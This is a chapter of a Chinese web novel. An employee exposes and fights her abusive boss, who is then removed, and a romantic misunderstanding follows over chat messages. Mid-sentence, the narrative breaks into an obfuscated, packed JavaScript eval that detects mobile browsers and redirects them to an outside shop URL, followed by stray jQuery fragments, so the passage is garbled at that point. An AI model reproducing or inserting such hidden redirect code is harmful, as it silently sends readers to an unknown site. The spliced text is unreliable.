“……”
刚听时本来以为是唬人的话,直到看到那个邮箱界面。
陈总轻蔑的眼神逐渐凝固,面颊两边的赘肉微微抽搐,眼白也开始蹦出细细密密的血丝。
像是即将要吃人。
“……许芫?!你怎么敢……什么时候录的?你……删掉!!”
他变得语无伦次,扬起手就要把她掌中的手机夺走。
许芫把手臂举高高,避开了他的攻击。
然后抽身逃跑。
陈总追上去,许芫绕着他办公桌跑,两人在桌子边绕圈圈,许芫开始撕扯嗓子,惊慌地“啊啊啊”尖叫,试图用响亮的动静把办公室外的人引进来。
陈总怒到极致,也边追边破口大骂,就在离她仅一步之遥时,他伸长手臂,猛拽住她头发。
许芫一阵吃痛,整个人往下跌倒,怀里的笔记本哗啦啦掉在地面,手机也顺势滚落,弹跳了两下子,哐当落在远处。陈总越过她,俯身扑向手机,许芫趁机死箍住他大腿,指尖狠狠抠进他皮里,揪他的肉。
陈总登时发出公鸭嗓的痛嚎,身形一歪,踉跄着半跪在地面,抽手往她脸上甩了两巴掌。许芫也轮起拳头往他肋骨处猛力一击,趁着陈总痛地打滚,马上起身过去拿手机,脚腕却被他的手攥牢,她又扑通一下重新摔回地面,用力蹬腿,高跟鞋踢飞了出去……
“住手!松开!”
外面终于来了救兵,两个保安闯进办公室,把缠打在一起的两人强制掰开,办公室门外挤满一大群人。
许芫趁着陈总抓她头发,扯开嗓子,大哭出声。
那声音痛苦万分,旁人听了都不由打寒碜,都在想陈总怎么会对一个女人下这么重的手,瞬间对这个领导的印象分降至负数。
保安一左一右紧紧扣死陈总的胳膊,沈怀枫这时挤出人群,冲过去,伸出手臂,把地上哭得狼狈的许芫扶起身。
“许芫!把手机给我!!”男人张舞着肥胖的四肢怒吼,唾沫星子飞溅,许芫吓得不轻,低下脑袋半依偎在沈怀枫怀里,泪流得更加楚楚可怜,边抽泣着,“你要我手机干嘛呀,我,我……”
陈总还在语无伦次地咆哮,人群议论纷纷,其间又响起一道拔高的声音镇压嘈杂,环境安静下来。
“录音我已经听到了,陈总,我觉得你有必要去见见董事长。”
声音清亮,众人朝后方看,一个面目严肃的女人走进,是监察部HR,旁人都唤她李姐。
结果已经摆在这儿,再去抢许芫的手机,已是无用功。
陈总面色煞白,身体冷灰灰地软塌下去,嘴里却还在逞能:“不可能,你们知不知道我是谁……”
“不管你是谁,违反了公规,都要有相应的惩罚。”李姐语气加重,让保安把他拖拽出办公室,挤在门口的人群让开一条小道,给他们通行。
许芫的哭声断断续续,陈总被押出办公室门的前一秒,回过头去看她,又惊了。她虽流着泪,却朝他露出非常隐晦的笑,旁人看不出来,对他却是极大的挑衅侮辱。
“……许芫!!”男人又剧烈抽搐了一下,怒气像是要从喉咙里喷出火,被保安及时压制。失控的状态被旁边近百道视线尽收眼底,许多人已经举起手机拍照,咔嚓咔嚓响个不停。
“好了好了,都撤吧。”李姐疏散在场人员,回过身,走到许芫面前,安抚了一下她:“陈总的事上级会安排他的去留,你回去好好处理一下伤口,其他的事,你不要担心。”
许芫带着哭腔,感激地说:“谢谢李姐。”
沈怀枫维持着刚才的姿势,把许芫半圈在怀里,扶着她走出办公室。
周围没人,许芫索性也不再装,轻轻推开他,面无表情地取出裤兜里随身携带的小镜子,往自己脸上照了照。
口红被擦出去了一点,嘴角也有被扇耳光后的红肿。又因刚刚哭过,部分妆花了,不过稍微补点也能及时补救。
沈怀枫好整以暇地看着她。
许久才问。
“是谁给你建议让你武力解决问题?”
许芫瞥他,“啪”地关上镜子:“没有谁。我也没想到他会动手。”
她那头发被抓得乱糟糟的,下面却是一张带着胜利者笑意的脸。沈怀枫有点想笑,说出来的话却很严肃:“如果对方人高马大,你难道真要和他硬杠到底?”
“当然不可能。”许芫说,“我知道你想让我别去冒险,但有些事不是我能预料和控制的,就让它发生好了。”
沈怀枫沉默,盯着她唇角的红痕,问她:“带药膏了没?”
许芫摇摇头。
“来我办公室。”沈怀枫说完就迈开步子。
“……还是别了吧!”许芫声音里带着明显的抗拒和应激,还有点劫后余生的后怕。
沈怀枫停顿,回头看她:“怎么了?”
许芫不自然地用手指稍微理顺头发,抬起头:“你刚才,是不是当着别人的面抱我了?”
“……是扶。”
“反正很贴近。如果不想被误会得更深,我建议你先暂时别把我单独叫到办公室里去。”
沈怀枫失笑:“你我之间职位级别是直系关系,日常工作都要来办公室汇报,借你膏药而已,有什么可误会的?”
许芫撇撇嘴:“既然想借我膏药,你还是先把自己脖子上那块牙印给消除掉再说吧,估计我们部门的那些八卦大佬已经猜出是谁咬的了。”
“……”
“等等。”沈怀枫在她离开前叫住她,“说到牙印,你还没答应给我的补偿。”
许芫顿住脚步,没有回头。似乎在酝酿什么,许久才说:“和邢颂分手?”
沈怀枫说是。
许芫很疲惫地叹了口气,完全没有解释的心情,只草率地说了句:“我和他从来没有在一起过。”
也不管他相不相信,话音落地,她抬脚就走,急着去洗手间整理仪容,一刻也不想在这里多待。
沈怀枫静静地站在原地,望着她走远的背影。
心里只有一个想法。
老天爷不会平白无故给他降下天大的福分,十有八九是对方在撒谎。
他还得亲自问问邢颂。
-
陈副总的事已经由监察部上交给董事,估计等到两三日后就能曝光他的所做所行。
许芫虽受了小伤,但她自觉这次行动非常值得,倒是辛黛潞看到她的伤口就要跳起来:“谁揍的你!姑奶奶降龙十八掌给他还回去!”
许芫哭笑不得,把她领导的事一五一十地说给她听。为了庆祝短暂的胜利,她开了一瓶啤酒浅酌:“这点耳光算不了什么,我以前又不是没被打过。”
辛黛潞替她委屈了一阵子,灌下一大口酒,又不由担心:“那老登真的会受到惩罚?虽然吧,他这个行为确实
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17862536|212069||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
很可恶,但相较于很多地方其实算不上罪该万死,要是在我单位发生这种事,我领导根本不会管。”
许芫摊了摊手:“不知道,我只知道我们计老板人很好,很讲究清正廉洁。放任那种人在公司胡作非为,只会把内部搅成一滩浑水。”
辛黛潞眼里射出羡慕的光芒:“你们那边还招不招人,我要过来……”
许芫没来得及笑,手机就有消息弹出。
邢颂:【你能不能管管你的人】
许芫疑惑地盯着那聊天框,上次和他在微信上聊天还在大学,现在突然来这么一句,不知道又出了什么事,她回:【什么我的人?】
邢颂发来一段和别人的聊天记录。
定睛看,他对面是沈怀枫。
时间在下班后。
沈怀枫:【喂】
沈怀枫:【问你个事】
沈怀枫:【听说你没和许芫在一起?】
邢颂:【她告诉你的?】
沈怀枫:【你直接说到底有没有】
邢颂:【我说的重要吗?不相信她反来问我?】
沈怀枫:【不太敢信】
沈怀枫:【我宁愿信你和她在合伙诓骗我】
邢颂:【没什么值得骗的,骗你浪费时间浪费精力。】
沈怀枫:【高中那会儿我亲耳听到她说她喜欢你。】
沈怀枫:【她怕你不喜欢她,哭了很久。】
邢颂:【……】
邢颂:【她喜欢的不是我】
邢颂:【是你】
邢颂:【许芫这么说,只是怕她喜欢你的秘密被别人知道而已】
沈怀枫:【真的是她的意思?】
沈怀枫:【你不用给颗糖再给毒药】
沈怀枫:【直说好了,是不是你早就设计好的】
沈怀枫:【捉弄我很有意思是吗】
邢颂:【。。。】
许芫盯着那聊天记录,百感交集,说不清是该哭还是该笑,连一向斯文的邢颂也被迫骂人。透过消息框里的字,都能看见屏幕后面邢颂那张无语的脸。
邢颂:【他脑子不是一般的有病,我建议你亲自和他说清楚。能解释的我都已经解释,让他别再来烦我。】
许芫:“……”
搁下手机。
起身,准备出门。
辛黛潞在后面喊她:“哎哎,你就这么去了?”
许芫嗯了声。沈怀枫现在就住在她对面,两步路的距离,没什么会比当面讲话来得更方便。
辛黛潞看她果决的背影,莫名觉得她像准备上战场。事实上许芫还没出门就已经开始心跳打鼓了,深呼吸两口气,却在这时折返,匆匆到浴室补了点妆,才准备好出门。
沈奶奶这会儿已经下楼散步,只有沈怀枫一人在家。
按了门铃,许芫两腿不安分地走来走去。
“咔嚓”一声,门打开。
屋里灯开得少,光线昏暗,沈怀枫穿了日常休闲的黑T长裤,很干净也很松散。他表情淡淡,额前的碎发有几绺湿湿的尖,像是刚洗完澡。
一米八五以上的身量在许芫视野里就是庞然巨物,以前都没留意他的身高,现在她只觉自己被大团黑影包裹,莫名有种倾倒的感觉。
两人都没主动开口,就这么静静对视。
迟缓了片刻,沈怀枫侧身,手臂往里示意:“请进。”